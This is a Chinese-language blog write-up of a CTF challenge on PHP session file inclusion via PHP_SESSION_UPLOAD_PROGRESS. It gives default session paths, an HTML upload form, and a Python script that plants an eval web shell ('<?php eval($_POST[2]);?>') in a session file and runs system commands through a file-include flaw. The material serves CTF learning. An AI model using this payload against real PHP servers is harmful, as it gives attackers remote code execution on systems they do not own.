session文件包含

作者 by Yichen / 2024-01-10 / 暂无评论 / 58 个足迹

一.session文件包含

一些默认存放路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

二.PHP_SESSION_UPLOAD_PROGRESS的利用

Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 SESSION中获得。当PHP检测到这种POST请求时,它会在_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。屏幕截图 2024-01-10 164318.png

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。

我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用Session,Session文件将会自动创建。
<!doctype html>
<html> <body>
<form action="[http://21b3de09-8c3f-46f5-8c52-5cf4a996fd63.challenge.ctf.show/](http://21b3de09-8c3f-46f5-8c52-5cf4a996fd63.challenge.ctf.show/)" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="恶意代码" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body> </html>
用一个上传表单把要传的PHP_SESSION_UPLOAD_PROGRESS传过去,抓包后把Cookie: PHPSESSID:(值自己定)加上,就可以获得sess_(值)样式的固定名称的session文件有时可以用条件竞争来访问getshell

三.ctfshow元旦水友赛 easy_include

<?php

function waf($path){<br />$path = str_replace(".","",$path);<br />return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){<br />include "file://".$_POST[1];
}

题目如上,先用表单抓包,初始化session文件,然后持续发包,保证文件一直存在,这里命名为test,对应文件为sess_test,尝试默认路径为tmp/sess_test
屏幕截图 2024-01-10 171803.png屏幕截图 2024-01-10 172426.png屏幕截图 2024-01-10 173407.png
最终得到flag
上述方法是比较手动的方法,下面附上一个自动化py脚本

import requests
 
url="http://b2c1d937-7478-4630-bd56-710118ad6c7c.challenge.ctf.show/"
 
data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
    '1': 'localhost/tmp/sess_ctfshow',
    '2': 'system("cat /f*");'
    }
 
cookies = {
    'PHPSESSID': 'ctfshow'
}
 
response = requests.post(url=url,data=data,cookies=cookies)
print(response.text)

独特见解